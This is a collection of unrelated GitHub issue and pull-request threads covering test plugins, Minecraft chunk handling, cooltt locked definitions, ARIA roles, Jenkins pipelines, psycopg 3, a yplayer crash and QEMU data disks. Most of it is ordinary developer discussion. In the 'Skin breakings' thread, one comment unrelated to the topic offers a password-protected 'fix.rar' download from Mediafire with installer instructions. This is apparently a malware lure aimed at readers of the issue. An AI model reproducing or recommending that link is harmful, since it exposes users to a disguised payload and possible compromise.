[ ] Playwright

Applicable plugins:

[ ] allure
[ ] autoDelay
[ ] autoLogin
[ ] customLocator
[ ] pauseOnFail
[ ] coverage
[ ] retryFailedStep
[ ] screenshotOnFail
[ ] selenoid
[ ] stepByStepReport
[ ] stepTimeout
[ ] wdio
[ ] subtitles

Type of change

[ ] :fire: Breaking changes
[ ] :rocket: New functionality
[x] :bug: Bug fix
[ ] :clipboard: Documentation changes/updates
[ ] :hotsprings: Hot fix
[ ] :hammer: Markdown files fix - not related to source code
[ ] :nail_care: Polish code

Checklist:

[x] Tests have been added
[ ] Documentation has been added (Run npm run docs)
[x] Lint checking (Run npm run lint)
[x] Local tests are passed (Run npm test)

Thanks for the test and for the fix


Infinite worlds

Alright not quite fixed.
Bugs:

need to send just the top of the chunks to speed things up (see https://github.com/PrismarineJS/prismarine-chunk/issues/8 )
seems nmp doesn't like too much to do too many write (seems like an nmp bug)

2 is fixed (kickTimeout increased + https://github.com/PrismarineJS/node-minecraft-protocol/issues/279 )

The problem was compression not being done. Problem fixed.


Locked truth wrappers

To resolve #175

If you want to use locked I think unlock and :unlock: would be great.

It would be cool to have a mode for checking conversion in which we unlock everything, but return a list of the things that need to get unlocked for conversion to succeed. Then, if this is empty, the conversion check is considered successful; but otherwise, the elaborator could respond to a non-empty list by inserting unlock statements in the appropriate place. This would allow unlock u/x in x to be treated equally to x without making it actually equal --- we'd have to experiment, but this might be a nice middle ground.

It would be cool to have a mode for checking conversion in which we unlock everything, but return a list of the things that need to get unlocked for conversion to succeed. Then, if this is empty, the conversion check is considered successful; but otherwise, the elaborator could respond to a non-empty list by inserting unlock statements in the appropriate place. This would allow unlock u/x in x to be treated equally to x without making it actually equal --- we'd have to experiment, but this might be a nice middle ground.

I think it is easy to generate a set that would be sufficiently type check the term (if possible), but it seems you are looking for a minimal set? I am worried about its well-definedness. For example, consider the following code written in some mortal notation:
locked-1 : {N | phi1 -> 1}
locked-2 : {N | phi2 -> 2}

taste-it 1 _ = 0
taste-it _ 2 = 0
taste-it _ _ = 100

What's the minimum set for taste-it hidden_1 hidden_2 = 0? This example might not be possible with eliminators.
On the other hand, such mechanism, if developed, might be useful for cubical stuff as well. We could generate the cof for a term---for example:
[ ?taste-it -> M ]
and cooltt could potentially generate some cofibration for the question mark? (Not sure if it would work.)

I think we might be talking past each other --- under my proposal, cooltt would report that those two terms failed to convert, period.

What do you mean by "checking conversion", then? I thought you wanted to calculate a minimum set of things to unlock for some judgmental equality to be true. If so, my worry is that this might not be a well-defined notion. BTW, this might be a more annoying example (using my understanding... so probably not applicable):
x : {N->N | phi1 -> \ _ -> 100}
y : {N | phi2 -> 0}

x y = x 0

@favonia I am describing something completely different from what you are talking about. I don't have time to explain it tonight, but let me just say the following:

It is undesirable to magically make things appear equal by finding some set of things to unfold, because that beats the point of having these locked definitions! So this is not what I am trying to do.

Terms can become unequal because they unfold the same thing in different places. My point is to resolve this issue.

Btw, I'm not sure that what I'm describing is a good idea yet!

I did not mean to magically equate things, but we could discuss it later.


Fixing UX issue of inactive panel getting too dim to read text for dark ...

...themes.
Bug: #9785 [UX] Inactive panel gets dimmed in split view in release v1.0

Looks good to me!  @larz0 do you think the headers need any tweaks to make it more obvious which one is active now?

I think the active line highlight + blinking cursor make it pretty clear already... but I figure it's worth getting a second opinion :-)

@peterflynn looks good to me too 👍 like you said, it's pretty clear already. Thanks @prksingh.

All good to merge then!


mat-select children do not have appropriate ARIA roles

Reproduction
View source of any mat-select example:
https://material.angular.io/components/select/examples
Steps to reproduce:

Use a mat-select
Look at its children in the DOM

Expected Behavior
mat-select has role=listbox, so its children should have role=option
https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/listbox_role#Description
Actual Behavior
mat-select children do not have role=option

Environment

Angular: Whatever's on https://material.angular.io right now
CDK/Material: Whatever's on https://material.angular.io right now
Browser(s): Chrome 75
Operating System (e.g. Windows, macOS, Ubuntu): Ubuntu

Other notes
This was caught by running the accessibility developer tools audit.

Yes, the select's children should have that role. Ideally all the options are direct children and in the DOM, but our current design does not consider this.
We do have an open issue to rework the select with accessibility in mind - check out https://github.com/angular/components/issues/11083 for details. I'll close this in favor of keeping one issue related to select's a11y but thanks for reporting the issue


All NEAT runs will fail if one run encounters a NEAT pre_run_check error

During the Jenkins run, one NEAT run may fail its pre-run checks (e.g., the output directory already exists).
This currently looks like:
14:30:11  /home/jenkinsuser/anaconda3/lib/python3.7/site-packages/neat/pre_run_checks/pre_run_checks.py:71: UserWarning: There are already objects in remote s3 directory: test/scheduler-test-output/
14:30:11    f"There are already objects in remote s3 directory: "
14:30:11  Traceback (most recent call last):
14:30:11    File "/home/jenkinsuser/anaconda3/bin/neat", line 8, in <module>
14:30:11      sys.exit(cli())
14:30:11    File "/home/jenkinsuser/anaconda3/lib/python3.7/site-packages/click/core.py", line 764, in __call__
14:30:11      return self.main(*args, **kwargs)
14:30:11    File "/home/jenkinsuser/anaconda3/lib/python3.7/site-packages/click/core.py", line 717, in main
14:30:11      rv = self.invoke(ctx)
14:30:11    File "/home/jenkinsuser/anaconda3/lib/python3.7/site-packages/click/core.py", line 1137, in invoke
14:30:11      return _process_result(sub_ctx.command.invoke(sub_ctx))
14:30:11    File "/home/jenkinsuser/anaconda3/lib/python3.7/site-packages/click/core.py", line 956, in invoke
14:30:11      return ctx.invoke(self.callback, **ctx.params)
14:30:11    File "/home/jenkinsuser/anaconda3/lib/python3.7/site-packages/click/core.py", line 555, in invoke
14:30:11      return callback(*args, **kwargs)
14:30:11    File "/home/jenkinsuser/anaconda3/lib/python3.7/site-packages/neat/cli.py", line 45, in run
14:30:11      raise RuntimeError("Failed pre_run_check")
14:30:11  RuntimeError: Failed pre_run_check

This is fine for one NEAT run but it's entirely possible that other NEAT configs are completely valid.
The RuntimeError causes the Jenkins run to consider itself failed.
We can isolate the error and provide an aggregate output of which attempted NEAT runs failed vs. succeeded.

The RuntimeError causes the Jenkins run to consider itself failed.

Is this considered failed because of the return value of run_neat.sh? If so, we can follow this pattern to catch whether the return value was 0, but not make the pipeline fail
def run_py_dl = sh(
    script: '. venv/bin/activate && python3.8 run.py download', returnStatus: true
)
if (run_py_dl == 0) {
    if (env.BRANCH_NAME != 'master') { // upload raw to s3 if we're on correct branch
        echo "Will not push if not on correct branch."
    }
}

This is resolved - think it just got taken care of in a different branch than the one linked here


Implement a Debezium based streaming pipeline. #3

Implement a Debezium based streaming pipeline. #3

Thanks, @bashir2  for the comprehensive review! I'll address them and add unit tests!

@bashir2 could you please make a comment that contains only @googlebot I consent

@googlebot I consent


Grafana link on metric pages.

Currently we have a link on the metric pages to go to grafana. This link is at the bottom of the page and you won't notice it unless you scroll all the way to the bottom of the page. Right now its kindof hidden.
An issue was created for it here: https://issues.jboss.org/browse/KIALI-1589
Any opinions from UXD on how this should be resolved?
Options brought forward so far are to put it in the toolbar, or to make the current link fixed at the bottom so that its always shown regardless of scrolling.
Any other thoughts or opinions on this?

@cshinn @serenamarie125 this should be an easy one :)
I think that putting it on the toolbar is simpler and provides the needed visibility, than having a fixed footer.
But of course, if there are best practices around it, we'll follow.

@jotak do you have a recent metrics screenshot perhaps?

Sure, this one:

There are 6 charts like these displayed on the metrics page, so maybe one issue is that we have to scroll down and cannot see the whole picture at once.

Would the link to grafana be a 1 to 1 correspondence to each chart ?  Or a single link to a grafana dashboard?

There are 6 charts like these displayed on the metrics page, so maybe one issue is that we have to scroll down and cannot see the whole picture at once.

and there are inbound, and additional tab for outbound...

Would the link to grafana be a 1 to 1 correspondence to each chart ? Or a single link to a grafana dashboard?

it is a single link to grafana dashboard atm.

Yes one at the moment pointing to a full grafana dashboard (with more or less the same metrics, but presented differently)

@jotak @serenamarie125 can you please update what is the status of this issue? thank you

@abonas there's a section about this in the google doc. I'm not sure if anyone stated a preferred choice between the options presented there yet though.

@cshinn just did now :)

this is the preferred design:

documented in https://github.com/kiali/kiali-design/pull/60


Upgrade psycopg to version 3 in the API

Fixes

Related to #2843. The project to convert the Django app to an ASGI application.
Description

Removes the dependency on psycopg2 in favor of psycopg 3. Django 4.2 introduced support for psycopg 3 and the notes says  that Support for psycopg2 is likely to be deprecated and removed at some point in the future. Psycopg 3 allows the use of asyncio-based concurrency and static typing, among other improvements.
You can see more of the differences in the official docs.
Testing Instructions

Run the project and see around that everything is working as usual.
just api/recreate

Also, confirms that pgcli continues to work:
just api/pgcli

Checklist

[x] My pull request has a descriptive title (not a vague title likeUpdate index.md).
[x] My pull request targets the default branch of the repository (main) or a parent feature branch.
[x] My commit messages follow best practices.
[x] My code follows the established code style of the repository.
[ ] I added or updated tests for the changes I made (if applicable).
[ ] I added or updated documentation (if applicable).
[x] I tried running the project locally and verified that there are no visible errors.
[x] I ran the DAG documentation generator (if applicable).

Developer Certificate of Origin

Developer Certificate of Origin
Developer Certificate of Origin
Version 1.1

Copyright (C) 2004, 2006 The Linux Foundation and its contributors.
1 Letterman Drive
Suite D4700
San Francisco, CA, 94129

Everyone is permitted to copy and distribute verbatim copies of this
license document, but changing it is not allowed.

Developer's Certificate of Origin 1.1

By making a contribution to this project, I certify that:

(a) The contribution was created in whole or in part by me and I
    have the right to submit it under the open source license
    indicated in the file; or

(b) The contribution is based upon previous work that, to the best
    of my knowledge, is covered under an appropriate open source
    license and I have the right under that license to submit that
    work with modifications, whether created in whole or in part
    by me, under the same open source license (unless I am
    permitted to submit under a different license), as indicated
    in the file; or

(c) The contribution was provided directly to me by some other
    person who certified (a), (b) or (c) and I have not modified
    it.

(d) I understand and agree that this project and the contribution
    are public and that a record of the contribution (including all
    personal information I submit with it, including my sign-off) is
    maintained indefinitely and may be redistributed consistent with
    this project or the open source license(s) involved.

@obulat I thought that might still required for v3, but I tried and was glad to find the opposite 😄 Removed.
The documentation is still relevant because the Ingestion Server is still in psycopg2.


Application crashes when trying to play a song after a fresh npm install

running yplayer -s "hurt Johnny Cash" after a fresh npm install -g yplayer results in the following:
fs.js:500
  return binding.open(pathModule._makeLong(path), stringToFlags(flags), mode);
                 ^
Error: ENOENT, no such file or directory '/home/ed/.yplayerrc'
    at Error (native)
    at Object.fs.openSync (fs.js:500:18)
    at Object.fs.writeFileSync (fs.js:1099:15)
    at settings (/Users/ed/.nvm/versions/node/v0.12.2/lib/node_modules/yplayer/app.js:53:8)
    at Object.<anonymous> (/Users/ed/.nvm/versions/node/v0.12.2/lib/node_modules/yplayer/app.js:18:3)
    at after (/Users/ed/.nvm/versions/node/v0.12.2/lib/node_modules/yplayer/node_modules/cli/cli.js:1011:18)
    at Object.cli.main (/Users/ed/.nvm/versions/node/v0.12.2/lib/node_modules/yplayer/node_modules/cli/cli.js:1016:9)
    at Object.<anonymous> (/Users/ed/.nvm/versions/node/v0.12.2/lib/node_modules/yplayer/app.js:17:5)
    at Module._compile (module.js:460:26)
    at Object.Module._extensions..js (module.js:478:10)

Seems odd, with the first run it should show something along the lines of ERROR: Go to ~/.yplayerrc and add your email and password. You haven't seen anything along those lines?

@anotheredward I'm working on a new version that doesn't need an apikey or the ~/.yplayerrc file, so the issue should be fixed by then. Stay tuned!

:+1: Hit me up when you're done and I'll happily test it :)

I reworked the module a bit. You don't need a Youtube API key from now on! I also added support to watch videos from the cli as well. Feel free to test it out with the new v0.2.0 release on npm. Be sure to delete your .yplayerrc before starting up!

At version 0.2.2:
fs.js:549
return binding.open(pathModule._makeLong(path), stringToFlags(flags), mode);
^
Error: ENOENT: no such file or directory, open '/home/ed/.yplayerrc'
at Error (native)
at Object.fs.openSync (fs.js:549:18)
at Object.fs.writeFileSync (fs.js:1161:15)
at settings (/Users/ed/.nvm/versions/node/v4.2.1/lib/node_modules/yplayer/app.js:53:8)
at Object. (/Users/ed/.nvm/versions/node/v4.2.1/lib/node_modules/yplayer/app.js:22:3)
at after (/Users/ed/.nvm/versions/node/v4.2.1/lib/node_modules/yplayer/node_modules/cli/cli.js:1011:18)
at Object.cli.main (/Users/ed/.nvm/versions/node/v4.2.1/lib/node_modules/yplayer/node_modules/cli/cli.js:1016:9)
at Object. (/Users/ed/.nvm/versions/node/v4.2.1/lib/node_modules/yplayer/app.js:21:5)
at Module._compile (module.js:435:26)
at Object.Module._extensions..js (module.js:442:10)

Ah, well. This was actually an issue with the sister program of this called gmplayer. I'll patch yplayer with the same solution and publish it as 0.2.3, stay tuned!

@anotheredward Issue should be resolved, let me know if it works and I'll close the issue!

:+1: It works! (on some songs, will triage and file additional bug, guessing it's to do with the audio not being an mp3!?)

Good to know that the issue has been resolved. Feel free to open another issue for the bug you're running into right now or post it in this thread. Thanks!


Add options: custom width, always show buttons

Part of #102

Demo

Final content/style

As expected, the release was blocked:
{
  "error": {
    "code": 400,
    "message": "Publish condition not met: To publish your item, you must provide mandatory privacy information in the new Developer Dashboard: https://chrome.google.com/webstore/devconsole. Click on your item from the home page and enter this information on the Privacy practices tab.",
    "errors": [
      {
        "message": "Publish condition not met: To publish your item, you must provide mandatory privacy information in the new Developer Dashboard: https://chrome.google.com/webstore/devconsole. Click on your item from the home page and enter this information on the Privacy practices tab.",
        "domain": "chromewebstore.access",
        "reason": "badRequest"
      }
    ]
  }
}

So I added the justification in the developer dashboard and resubmitted it


Skin breakings

I've listened to the wiki and for some reason, this thing doesn't work it's where the eyes overlay or something I don't know much about the pack so here are some pictures
current skin texture file

first texture skin

eyes broken no expressions (don't know much about that)
                                                                skin in use (for now)

it just looks like an egg that hit puberty pretty much the only skin that doesn't do this
                                                     newest skin (not in use for obvious reasons)

This is completely broken I don't know why and I'm not stealing Lorax's eyebrows ok? but if I did it would still be broken
I also found out that sometimes the eyes will become derpy for some odd reason you can also see the original skin without the extra texture part (the eyes BTW)
The survival world you see I am in is legit netherite (since I have 2 mods that make getting ender pearls from piglins easier and a mod that makes netherite upgrade templates useless.)

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Days without a comment: 6

and now is 2 weeks more :l

Days without a comment: 6

and now is 2 weeks more :l

that doesn't even answer my question and plus I just didn't keep track of changing it

your eyebrows were up too high

your eyebrows were up too high

how many pixels do I have to bring it down?

you should be able to save the photo I sent? the skin there has the corrected version i dont remember how many pixels it was sorry

you should be able to save the photo I sent? the skin there has the corrected version i dont remember how many pixels it was sorry

oh wait I didn't see that


[Question]: add qemu-img as data disk?

Is your question not already answered in the FAQ?

[X] I made sure the question is not listed in the FAQ.

Is this a general question and not a technical issue?

[X] I am sure my question is not about a technical issue.

Question
我想要想使用虚拟机一样手动创建虚拟磁盘并且挂载到虚拟机内使用？我并不想浪费一整块磁盘作为单独的磁盘给虚拟机使用。

I do not completely understand your question. You are not wasting any disk? It uses a file called data.img as the disk. And if you want to replace that file by another one, thats fine.我不完全理解你的问题。你没有浪费任何磁盘吗？它使用称为 data.img 磁盘的文件。如果你想用另一个文件替换那个文件，那很好。

我需要的是新加一个data.img的磁盘文件而不是替换它，使用qemu-img创建多个磁盘驱动器而不是使用--device来挂载本机的物理磁盘。这样有什么好办法吗？

To create additional disk images, modify your compose file like this:要创建其他磁盘映像，请按如下方式修改撰写文件：
environment:
  DISK2_SIZE: "32G"
  DISK3_SIZE: "64G"
volumes:
  - /home/example:/storage2
  - /mnt/data/example:/storage3

It will create a data2.img in /storage2, etc.它将创建一个 data2.img in /storage2 等。

好的非常感谢！